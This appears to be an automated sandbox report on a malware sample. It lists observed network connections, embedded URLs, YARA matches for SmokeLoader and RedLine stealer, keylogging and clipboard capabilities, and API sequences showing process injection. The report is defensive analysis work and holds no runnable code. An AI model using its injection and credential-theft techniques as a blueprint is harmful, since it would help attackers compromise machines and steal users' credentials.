Source: explorer.exe, 00000001.00000000.1693195889.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.rd.com/list/polite-habits-campers-dislike/
Source: explorer.exe, 00000001.00000000.1693195889.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.rd.com/newsletter/?int_source=direct&int_medium=rd.com&int_campaign=nlrda_20221001_toppe
Source: 4577.exe, 00000018.00000002.2986069883.0000000000400000.00000040.00000400.00020000.00000000.sdmp, csrss.exe, 00000026.00000002.2986522634.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.torproject.org/
Source: csrss.exe, 00000026.00000002.2986522634.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.torproject.org/documentation.html

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789

Source: unknown	HTTPS traffic detected: 172.67.131.114:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.114:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.114:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 192.36.38.33:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.114:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.114:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.114:443 -> 192.168.2.4:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.114:443 -> 192.168.2.4:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.114:443 -> 192.168.2.4:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.114:443 -> 192.168.2.4:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.114:443 -> 192.168.2.4:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.114:443 -> 192.168.2.4:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.114:443 -> 192.168.2.4:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.114:443 -> 192.168.2.4:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.114:443 -> 192.168.2.4:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.114:443 -> 192.168.2.4:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.114:443 -> 192.168.2.4:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.114:443 -> 192.168.2.4:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.114:443 -> 192.168.2.4:49770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.114:443 -> 192.168.2.4:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.23.244.244:443 -> 192.168.2.4:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.4:49787 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 134.209.224.96:443 -> 192.168.2.4:49789 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.68.143:443 -> 192.168.2.4:49794 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected SmokeLoader

Source: Yara match	File source: 35.2.5390.exe.4c0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.5390.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.3.5390.exe.4d0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000022.00000002.2578542876.00000000005F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000003.2383099821.00000000004D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.2578790306.0000000000611000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1708892086.0000000000730000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1708988921.0000000000751000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1984144647.00000000004D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.2438465954.00000000004D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.2438798088.0000000001FC1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1988409529.00000000020D1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY

Contains functionality to modify clipboard data

Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif

Code function: 21_2_00007FF73D0D1E50 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

21_2_00007FF73D0D1E50

Contains functionality to register a low level keyboard hook

Source: C:\Users\user\AppData\Local\Temp\3BD2.exe

Code function: 8_2_0040907E SetWindowsHookExW 00000002,Function_0000A013,00000000,00000000

8_2_0040907E

Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif

Code function: 21_2_00007FF73D0D1E50 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

21_2_00007FF73D0D1E50

Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif

Code function: 21_2_00007FF73D0D1B98 OpenClipboard,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

21_2_00007FF73D0D1B98

Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif

Code function: 21_2_00007FF73D0B9AF0 GetParent,GetKeyboardState,SetKeyboardState,PostMessageW,PostMessageW,PostMessageW,PostMessageW,

21_2_00007FF73D0B9AF0

System Summary

Malicious sample detected (through community Yara rule)

Source: 30.0.E35F.exe.db8096.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 42.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 30.0.E35F.exe.db8096.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 30.0.E35F.exe.d30000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 49.0.FD8E.exe.3e0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects downloader / injector Author: ditekSHen
Source: 25.0.9D1E.exe.fb0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables packed with unregistered version of .NET Reactor Author: ditekSHen
Source: 00000023.00000002.2438435687.00000000004C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000022.00000002.2578542876.00000000005F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000022.00000002.2579381005.0000000000730000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000000D.00000002.2101613794.0000000002735000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000022.00000002.2578790306.0000000000611000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000000.00000002.1708892086.0000000000730000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000000.00000002.1708988921.0000000000751000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 0000001F.00000002.2469988089.0000000002C00000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000003.00000002.1984144647.00000000004D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000023.00000002.2438465954.00000000004D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000023.00000002.2438711950.000000000063D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.1708692549.0000000000720000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000003.00000002.1987664254.00000000006EC000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000002A.00000002.2865725310.00000000033A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 00000023.00000002.2438798088.0000000001FC1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000000.00000002.1709555486.000000000080D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000003.00000002.1984120576.00000000004C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000003.00000002.1988409529.00000000020D1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000022.00000002.2578412540.00000000005E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: Process Memory Space: InstallUtil.exe PID: 5544, type: MEMORYSTR	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\E35F.exe, type: DROPPED	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\9D1E.exe, type: DROPPED	Matched rule: Detects executables packed with unregistered version of .NET Reactor Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\FD8E.exe, type: DROPPED	Matched rule: Detects downloader / injector Author: ditekSHen

Source: C:\Users\user\Desktop\987123.exe	Code function: 0_2_00401553 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401553
Source: C:\Users\user\Desktop\987123.exe	Code function: 0_2_00401561 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401561
Source: C:\Users\user\Desktop\987123.exe	Code function: 0_2_0040156B NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_0040156B
Source: C:\Users\user\Desktop\987123.exe	Code function: 0_2_0040156F NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_0040156F
Source: C:\Users\user\Desktop\987123.exe	Code function: 0_2_00401729 NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401729
Source: C:\Users\user\Desktop\987123.exe	Code function: 0_2_004023E5 NtQuerySystemInformation,	0_2_004023E5
Source: C:\Users\user\Desktop\987123.exe	Code function: 0_2_00401583 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401583
Source: C:\Users\user\Desktop\987123.exe	Code function: 0_2_00401587 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401587
Source: C:\Users\user\Desktop\987123.exe	Code function: 0_2_004026A0 NtEnumerateKey,	0_2_004026A0
Source: C:\Users\user\AppData\Roaming\ufhjbuw	Code function: 3_2_00401553 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	3_2_00401553
Source: C:\Users\user\AppData\Roaming\ufhjbuw	Code function: 3_2_00401561 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	3_2_00401561
Source: C:\Users\user\AppData\Roaming\ufhjbuw	Code function: 3_2_0040156B NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	3_2_0040156B
Source: C:\Users\user\AppData\Roaming\ufhjbuw	Code function: 3_2_0040156F NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	3_2_0040156F
Source: C:\Users\user\AppData\Roaming\ufhjbuw	Code function: 3_2_00401729 NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	3_2_00401729
Source: C:\Users\user\AppData\Roaming\ufhjbuw	Code function: 3_2_004023E5 NtQuerySystemInformation,	3_2_004023E5
Source: C:\Users\user\AppData\Roaming\ufhjbuw	Code function: 3_2_00401583 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	3_2_00401583
Source: C:\Users\user\AppData\Roaming\ufhjbuw	Code function: 3_2_00401587 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	3_2_00401587
Source: C:\Users\user\AppData\Roaming\ufhjbuw	Code function: 3_2_004026A0 NtEnumerateKey,	3_2_004026A0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_04DC1C80 NtCreateThreadEx,	7_2_04DC1C80
Source: C:\Users\user\AppData\Local\Temp\4577.exe	Code function: 13_2_028F0110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,	13_2_028F0110

Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif

Code function: 21_2_00007FF73D0C4EE8: GetFullPathNameW,CreateDirectoryW,CreateFileW,RemoveDirectoryW,DeviceIoControl,CloseHandle,CloseHandle,

21_2_00007FF73D0C4EE8

Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif

Code function: 21_2_00007FF73D0ADF24 GetCurrentProcess,OpenProcessToken,CreateEnvironmentBlock,CloseHandle,CreateProcessWithLogonW,DestroyEnvironmentBlock,

21_2_00007FF73D0ADF24

Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif

Code function: 21_2_00007FF73D0BE520 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,

21_2_00007FF73D0BE520

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Source: C:\Users\user\Desktop\987123.exe	Code function: 0_2_00414C0D	0_2_00414C0D
Source: C:\Users\user\Desktop\987123.exe	Code function: 0_2_0041580D	0_2_0041580D
Source: C:\Users\user\Desktop\987123.exe	Code function: 0_2_00414738	0_2_00414738
Source: C:\Users\user\Desktop\987123.exe	Code function: 0_2_00414FE1	0_2_00414FE1
Source: C:\Users\user\Desktop\987123.exe	Code function: 0_2_004153ED	0_2_004153ED
Source: C:\Users\user\AppData\Roaming\ufhjbuw	Code function: 3_2_00414C0D	3_2_00414C0D
Source: C:\Users\user\AppData\Roaming\ufhjbuw	Code function: 3_2_0041580D	3_2_0041580D
Source: C:\Users\user\AppData\Roaming\ufhjbuw	Code function: 3_2_00414738	3_2_00414738
Source: C:\Users\user\AppData\Roaming\ufhjbuw	Code function: 3_2_00414FE1	3_2_00414FE1
Source: C:\Users\user\AppData\Roaming\ufhjbuw	Code function: 3_2_004153ED	3_2_004153ED
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_04C81000	7_2_04C81000
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_04C82708	7_2_04C82708
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_04C8446C	7_2_04C8446C
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_04C85260	7_2_04C85260
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_04C817C4	7_2_04C817C4
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_04C82C18	7_2_04C82C18
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_04C83138	7_2_04C83138
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_04DC90D0	7_2_04DC90D0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_04DC1FC0	7_2_04DC1FC0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_04DC16E9	7_2_04DC16E9
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_04DC1C80	7_2_04DC1C80
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_04DC2280	7_2_04DC2280
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_04DC47B0	7_2_04DC47B0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_04DC89B0	7_2_04DC89B0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_04DC8710	7_2_04DC8710
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_04DC4A20	7_2_04DC4A20
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_04DC86F0	7_2_04DC86F0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_04DC18E0	7_2_04DC18E0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_04DC8C80	7_2_04DC8C80
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_04DC7F60	7_2_04DC7F60
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_04DC9B10	7_2_04DC9B10
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_04DC870F	7_2_04DC870F
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_04DC8220	7_2_04DC8220
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_04DC1020	7_2_04DC1020
Source: C:\Users\user\AppData\Local\Temp\3BD2.exe	Code function: 8_2_0040ADB0	8_2_0040ADB0
Source: C:\Users\user\AppData\Local\Temp\3BD2.exe	Code function: 8_2_004067D5	8_2_004067D5
Source: C:\Users\user\AppData\Local\Temp\3BD2.exe	Code function: 8_2_004160B3	8_2_004160B3
Source: C:\Users\user\AppData\Local\Temp\3BD2.exe	Code function: 8_2_004141C2	8_2_004141C2
Source: C:\Users\user\AppData\Local\Temp\3BD2.exe	Code function: 8_2_00424223	8_2_00424223
Source: C:\Users\user\AppData\Local\Temp\3BD2.exe	Code function: 8_2_00415A97	8_2_00415A97
Source: C:\Users\user\AppData\Local\Temp\3BD2.exe	Code function: 8_2_0041637A	8_2_0041637A
Source: C:\Users\user\AppData\Local\Temp\3BD2.exe	Code function: 8_2_00413BFB	8_2_00413BFB
Source: C:\Users\user\AppData\Local\Temp\3BD2.exe	Code function: 8_2_00424BB1	8_2_00424BB1
Source: C:\Users\user\AppData\Local\Temp\3BD2.exe	Code function: 8_2_00424C8B	8_2_00424C8B
Source: C:\Users\user\AppData\Local\Temp\3BD2.exe	Code function: 8_2_00413490	8_2_00413490
Source: C:\Users\user\AppData\Local\Temp\3BD2.exe	Code function: 8_2_00414C9A	8_2_00414C9A
Source: C:\Users\user\AppData\Local\Temp\3BD2.exe	Code function: 8_2_0040DD32	8_2_0040DD32
Source: C:\Users\user\AppData\Local\Temp\3BD2.exe	Code function: 8_2_004135CF	8_2_004135CF
Source: C:\Users\user\AppData\Local\Temp\3BD2.exe	Code function: 8_2_00415E09	8_2_00415E09
Source: C:\Users\user\AppData\Local\Temp\3BD2.exe	Code function: 8_2_00416635	8_2_00416635
Source: C:\Users\user\AppData\Local\Temp\3BD2.exe	Code function: 8_2_00424F23	8_2_00424F23
Source: C:\Users\user\AppData\Local\Temp\3BD2.exe	Code function: 8_2_00413793	8_2_00413793
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D051C90	21_2_00007FF73D051C90
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D050E00	21_2_00007FF73D050E00
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D04E630	21_2_00007FF73D04E630
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D05DE3C	21_2_00007FF73D05DE3C
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D06FE60	21_2_00007FF73D06FE60
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D0D7D60	21_2_00007FF73D0D7D60
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D081DD0	21_2_00007FF73D081DD0
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D077DEC	21_2_00007FF73D077DEC
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D0EE0C0	21_2_00007FF73D0EE0C0
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D079A60	21_2_00007FF73D079A60
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D049B10	21_2_00007FF73D049B10
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D0539C0	21_2_00007FF73D0539C0
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D0E1C78	21_2_00007FF73D0E1C78
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D071CE0	21_2_00007FF73D071CE0
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D065B9C	21_2_00007FF73D065B9C
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D07366A	21_2_00007FF73D07366A
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D04F6AD	21_2_00007FF73D04F6AD
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D04169C	21_2_00007FF73D04169C
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D0E16E8	21_2_00007FF73D0E16E8
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D08582C	21_2_00007FF73D08582C
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D05F81F	21_2_00007FF73D05F81F
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D0ED908	21_2_00007FF73D0ED908
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D0EB7CC	21_2_00007FF73D0EB7CC
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D0832B0	21_2_00007FF73D0832B0
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D0D3198	21_2_00007FF73D0D3198
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D0D744C	21_2_00007FF73D0D744C
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D0D948C	21_2_00007FF73D0D948C
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D0C949C	21_2_00007FF73D0C949C
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D087374	21_2_00007FF73D087374
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D07AD50	21_2_00007FF73D07AD50
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D086D80	21_2_00007FF73D086D80
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D049020	21_2_00007FF73D049020
